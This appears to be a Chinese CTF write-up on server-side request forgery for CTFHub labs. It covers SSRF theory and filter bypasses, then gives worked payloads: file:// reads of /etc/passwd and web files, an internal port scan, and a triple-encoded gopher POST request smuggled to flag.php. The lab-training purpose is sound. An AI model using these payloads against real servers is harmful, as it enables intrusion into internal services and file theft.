CTFHUB技能树——SSRF(一)

目录

一、SSRF(服务器端请求伪造)

漏洞产生原理:

漏洞一般存在于

产生SSRF漏洞的函数(PHP):

发现SSRF漏洞时:

SSRF危害:

SSRF漏洞利用手段:

SSRF绕过方法:

二、CTFHUB技能树 SSRF

1.Http、file和Dict等协议的利用

内网访问 

伪协议读取文件

​编辑端口扫描

​编辑2.Gopher协议的利用

 POST请求


一、SSRF(服务器端请求伪造)

漏洞产生原理:

大多是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

漏洞一般存在于

(1)分享链接
(2)转码服务
(3)在线翻译
(4)图片、文章收藏功能
(5)未公开的API实现以及其他调用URL的功能
(6)图片加载与下载
(7)从URL关键字中寻找(share、wap、url、link、src、source、target、u、display、sourceURl、imageURL、domain)

产生SSRF漏洞的函数(PHP):

(1)file_get_contents()
(2)sockopen()
(3)curl_exec()

发现SSRF漏洞时:

首先要测试所有可用的URL伪协议
file:// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

SSRF危害:

SSRF漏洞利用手段:

(1)可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306的);
(2)攻击运行在内网或本地的有漏洞程序(比如溢出);
(3)可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹;
(4)攻击内网或外网有漏洞的Web应用;
(5)使用file:///协议读取本地文件(或其他协议)

SSRF绕过方法:

(1)@          http://abc.com@127.0.0.1
(2)添加端口号      http://127.0.0.1:8080
(3)短地址        https://0x9.me/cuGfD
(4)可以指向任意ip的域名  xip.io
(5)ip地址转换成进制来访问 192.168.0.1=3232235521(十进制)
(6)非HTTP协议
(7)DNS Rebinding

理论转自:Web 常见十大漏洞原理及利用方式_web漏洞利用实操-CSDN博客

二、CTFHUB技能树 SSRF

1.Http、file和Dict等协议的利用

内网访问 

题目描述:尝试访问位于127.0.0.1的flag.php吧

从目标主机内网环境访问它本地的flag.php,构建url:

/?url=http://127.0.0.1/flag.php

伪协议读取文件

题目描述:尝试去读取一下Web目录下的flag.php吧

 无法直接访问

使用file:///协议 访问本地文件系统

构建payload:

file:/// [文件的绝对路径和文件名]

?url=file:///var/www/html/flag.php

端口扫描

题目描述:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

知道端口号范围,使用bp爆破  将8000设为变量

变量类型number、范围8000~9000

 

 8218端口 ,respond得flag

2.Gopher协议的利用

学习参考CTFHub技能树笔记之SSRF:POST请求、文件上传_ctfhub ssrf post-CSDN博客

gopher协议是ssrf利用中最强大的协议

gopher协议支持发出GET、POST请求:

可以先截获get请求包和post请求包,再构成符合gopher协议的请求。

默认端口为70,一般需发送到80端口

如果发起post请求,回车换行需要使用%0D%0A,如果多个参数,参数之间的&也需要进行URL编码。

gopher使用结构:

gopher://127.0.0.1:80/_{TCP/IP数据流}

_不能省

 POST请求

题目描述:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.

使用dirsearch扫描一下

python dirsearch.py -u http://challenge-0981474f125e7046.sandbox.ctfhub.com:10800/?url=127.0.0.1/

状态码为200的只有flag.php

访问127.0.0.1/flag.php,出现一个输入框

查看源代码有一个key值

将key输入输入框

尝试file///协议分别读取index.php 和flag.php的页面源码

?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php

POST传参了key

$_SERVER['SERVER_ADDR ' ]:当前运行脚本所在的服务器(非本地)的 IP 地址。  

所以在flag.php传入key值返回flag,index.php可以利用curl传url

故用gopher协议在index.php中构造post请求包往flag.php传key值,从而获得flag

构造 Gopher协议所需的 POST请求:

POST包必须包含的四个参数:Content-Type、Content-Length(key的长度)、host,、post

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=687e7be15804b88bc8014fa4008ccb3c

利用ssrf时常需要进行多次url编码,执行curl功能后会被解码一次,利用?url=gopher://形式进行ssrf请求又会被解码一次,如果有302跳转 也会被解码一次。

(可以说传参+跳转,请求多少次就要编码多少次)

所以对构造的请求包进行三次 URL编码:

第一次编码后,将%0A全部替换为%0D%0A

因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

第一次url编码:
POST%20/flag.php%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application/x-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D687e7be15804b88bc8014fa4008ccb3c
替换:
POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D687e7be15804b88bc8014fa4008ccb3c
第二次url编码:
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D687e7be15804b88bc8014fa4008ccb3c
如果有302跳转,还需第三次编码:
POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D687e7be15804b88bc8014fa4008ccb3c

因为flag.php中的$_SERVER["REMOTE_ADDR"]无法绕过,于是在index.php中发送 POST请求

最终payload如下,使用bp传入POST请求得flag。

?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D687e7be15804b88bc8014fa4008ccb3c

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-05-26 02:08:15       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-05-26 02:08:15       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-05-26 02:08:15       19 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-05-26 02:08:15       20 阅读

热门阅读

  1. springboot项目跨域设置总结

    2024-05-26 02:08:15       11 阅读
  2. Flink 任务调度策略:Eager 模式详解

    2024-05-26 02:08:15       9 阅读
  3. Flink 任务调度策略:Lazy from Sources 深入解析

    2024-05-26 02:08:15       11 阅读
  4. 海外投放面试手册

    2024-05-26 02:08:15       12 阅读
  5. 游戏引擎支持脚本编程的好处

    2024-05-26 02:08:15       8 阅读
  6. 供应链金融模式学习资料

    2024-05-26 02:08:15       12 阅读
  7. spring boot 的常用注解

    2024-05-26 02:08:15       10 阅读
  8. [力扣题解] 684. 冗余连接

    2024-05-26 02:08:15       12 阅读
  9. vue3 + vite 实用依赖与配置

    2024-05-26 02:08:15       8 阅读
  10. C语言经典例题-9

    2024-05-26 02:08:15       9 阅读
  11. 【C#实战】Newtonsoft.Json基类子类解析

    2024-05-26 02:08:15       10 阅读